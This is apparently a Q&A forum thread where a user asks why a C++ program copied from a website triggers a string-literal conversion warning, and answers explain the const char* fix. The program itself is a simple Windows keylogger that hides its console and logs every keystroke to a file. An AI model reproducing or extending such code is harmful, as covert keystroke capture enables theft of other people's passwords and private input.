0

I recently had a problem that got solved (was compiling a c++ program with c compiler) but that brought up a few new errors in the code that a copied off of a site. After compiling the code below with the g++ -o wowie wowie.c command,

#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char* file);
int main()
{
    FreeConsole();
    char i;
    while (true) {
        Sleep(10);
        for (i = 8; i <= 255; i++) {
            if (GetAsyncKeyState(i) == -32767) {
                Save(i, "log.txt");
            }
        }
    }
    return 0;
}
int Save(int _key, char* file)
{
    cout << _key << endl;
    Sleep(10);
    FILE* OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    if (_key == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (_key == VK_BACK)
        fprintf(OUTPUT_FILE, "%s", "[BACK]");
    else if (_key == VK_LBUTTON)
        fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
    else if (_key == VK_RETURN)
        fprintf(OUTPUT_FILE, "%s", "[RETURN]");
    else if (_key == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else
        fprintf(OUTPUT_FILE, "%s", &_key);
    fclose(OUTPUT_FILE);
    return 0;
}

command prompt said:

wowie.c: In function 'int main()':
wowie.c:12:19: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
  Save(i, "log.txt");
               ^

Are there errors in the code or am I doing it wrong, and how can I fix it? If anyone could help, I'd really appreciate it. Thanks! (using GCC compiler, windows 10 64-bit)

Srini
  • 1,619
  • 1
  • 19
  • 34
  • The only C++ I see in your code is `cout`. Are you using a C API? It seems that `Save` expects an array of `char`s (C-style string) as its second parameter instead of a C++ `std::string`. The warning is telling you that implicitly converting from a C++ string literal to a C-style string is deprecated. – Mike Borkland Jun 19 '18 at 17:55
  • I'm not sure about windows, but I think `fprintf` is in `` and you will need to include it – Srini Jun 19 '18 at 17:58

1 Answers1

1

String literals have the type const char[N] (you aren't supposed to modify them) which can be converted to `const char.

You are passing one to a function with a parameter of char*, this means the function is allowed to modify the string which may well lead to unexpected results.

You should change your Save function to take const char* unless it really needs to modify the filename passed to it:

int Save(int _key, const char *file);
Alan Birtles
  • 32,622
  • 4
  • 31
  • 60